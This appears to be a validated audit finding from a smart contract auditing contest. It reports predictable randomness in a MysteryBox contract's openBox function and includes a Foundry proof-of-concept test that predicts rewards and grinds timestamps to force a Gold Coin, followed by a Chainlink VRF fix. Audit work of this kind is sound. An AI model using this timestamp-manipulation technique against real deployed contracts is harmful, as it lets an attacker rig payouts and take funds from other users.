Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Inadequate Random Number Generation in reward distribution

Summary

The MysteryBox contract uses inadequate sources of randomness to determine reward distribution when opening boxes. Specifically, the openBox function relies on block.timestamp and msg.sender to generate a random number, which are predictable and manipulable sources. This vulnerability allows malicious actors to potentially influence or predict the rewards they receive, undermining the fairness and unpredictability of the mystery box system.

Vulnerability Details

The vulnerability lies in the openBox function, which uses insecure sources to generate randomness:

function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
@> uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
// Determine the reward based on probability
if (randomValue < 75) {
// 75% chance to get Coal (0-74)
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
// 20% chance to get Bronze Coin (75-94)
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
// 4% chance to get Silver Coin (95-98)
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
// 1% chance to get Gold Coin (99)
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}

The main issues with this implementation are:

  1. block.timestamp is manipulable by miners within a certain range. Miners can adjust the timestamp slightly to influence the outcome.

  2. msg.sender is known and controlled by the user calling the function, allowing them to potentially influence the result.

  3. The modulo operation % 100 further reduces the randomness by limiting the output to a small range of values.

This combination of predictable inputs and limited output range makes the reward distribution vulnerable to manipulation and prediction.

Impact

The inadequate random number generation has several significant impacts on the MysteryBox system:

  1. Manipulation of Rewards: Malicious actors could potentially manipulate the timing and parameters of their transactions to increase their chances of receiving high-value rewards. This undermines the fairness of the system and could lead to economic imbalances.

  2. Predictability: Users with the ability to analyze blockchain data could potentially predict the outcomes of box openings, giving them an unfair advantage. This defeats the purpose of a "mystery" box and could lead to exploitation.

  3. Miner Exploitation: Miners could use their ability to manipulate block timestamps to their advantage when opening boxes, potentially extracting more value from the system than intended.

The severity of this impact is high because it fundamentally undermines the core functionality and fairness of the MysteryBox system, potentially leading to both immediate financial exploitation and long-term damage to the platform's reputation and viability.

Proof-of-Concept

The following test function demonstrates the vulnerability in the random number generation of the MysteryBox contract:

function testPredictableRandomness() public {
// Setup
address user = address(0x1234);
uint256 boxPrice = mysteryBox.boxPrice();
vm.deal(user, boxPrice * 100); // Give the user enough ETH to buy 100 boxes
vm.startPrank(user);
// Buy a box
mysteryBox.buyBox{value: boxPrice}();
assertEq(mysteryBox.boxesOwned(user), 1);
// Predict the reward
uint256 predictedRandomValue = uint256(keccak256(abi.encodePacked(block.timestamp + 1, user))) % 100;
string memory predictedReward;
if (predictedRandomValue < 75) {
predictedReward = "Coal";
} else if (predictedRandomValue < 95) {
predictedReward = "Bronze Coin";
} else if (predictedRandomValue < 99) {
predictedReward = "Silver Coin";
} else {
predictedReward = "Gold Coin";
}
// Open the box in the next block
vm.warp(block.timestamp + 1);
mysteryBox.openBox();
assertEq(mysteryBox.boxesOwned(user), 0);
assertEq(mysteryBox.getRewards().length, 1);
// Check if the prediction was correct
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
assertEq(rewards[0].name, predictedReward, "Predicted reward does not match actual reward");
// Demonstrate manipulation
uint256 desiredRandomValue = 99; // Aiming for Gold Coin
uint256 manipulatedTimestamp = block.timestamp;
while (uint256(keccak256(abi.encodePacked(manipulatedTimestamp, user))) % 100 != desiredRandomValue) {
manipulatedTimestamp++;
}
// Buy another box
mysteryBox.buyBox{value: boxPrice}();
// Open the box with the manipulated timestamp
vm.warp(manipulatedTimestamp);
mysteryBox.openBox();
// Check if we got the desired reward
rewards = mysteryBox.getRewards();
assertEq(rewards[1].name, "Gold Coin", "Failed to manipulate reward to Gold Coin");
vm.stopPrank();
}

This test demonstrates two critical aspects of the vulnerability:

  1. Predictability: The test accurately predicts the reward a user will receive by using the same random number generation logic as the contract. This is shown in the first part of the test where we predict the reward and then verify that the actual reward matches our prediction.

  2. Manipulability: The test shows how a user could manipulate the timestamp to consistently receive the highest value reward (Gold Coin in this case). This is demonstrated in the second part of the test where we manipulate the timestamp to ensure we receive a Gold Coin.

To run this test, use the following command:

forge test --mc MysteryBoxTest --mt testPredictableRandomness -vv

the test output is attached here:

Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testPredictableRandomness() (gas: 190620)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.08ms (391.75µs CPU time)

The test passing confirms the existence and exploitability of the vulnerability in the random number generation mechanism of the MysteryBox contract.

Tools Used

  • Manual review of the smart contract code

  • Foundry for writing and running test cases to validate the vulnerability

Recommendations

To address the vulnerability in random number generation, we recommend to use a secure source of randomness:

  • Implement a Verifiable Random Function (VRF) from Chainlink, which provides cryptographically secure randomness.

  • Example implementation:

+ import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
- contract MysteryBox {
+ contract MysteryBox is VRFConsumerBase {
+ bytes32 internal keyHash;
+ uint256 internal fee;
+ uint256 public randomResult;
+ mapping(bytes32 => address) public requestToSender;
+ constructor(address _vrfCoordinator, address _link, bytes32 _keyHash, uint256 _fee)
+ VRFConsumerBase(_vrfCoordinator, _link) {
+ keyHash = _keyHash;
+ fee = _fee;
}
+ function requestRandomNumber() public returns (bytes32 requestId) {
+ require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK");
+ bytes32 requestId = requestRandomness(keyHash, fee);
+ requestToSender[requestId] = msg.sender;
+ return requestId;
}
+ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
+ randomResult = randomness;
+ address sender = requestToSender[requestId];
+ openBox(sender, randomness);
}
- function openBox() public {
+ function openBox(address user, uint256 randomness) internal {
- uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
+ uint256 randomValue = randomness % 100;
// Rest of the function remains the same
}
}
Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.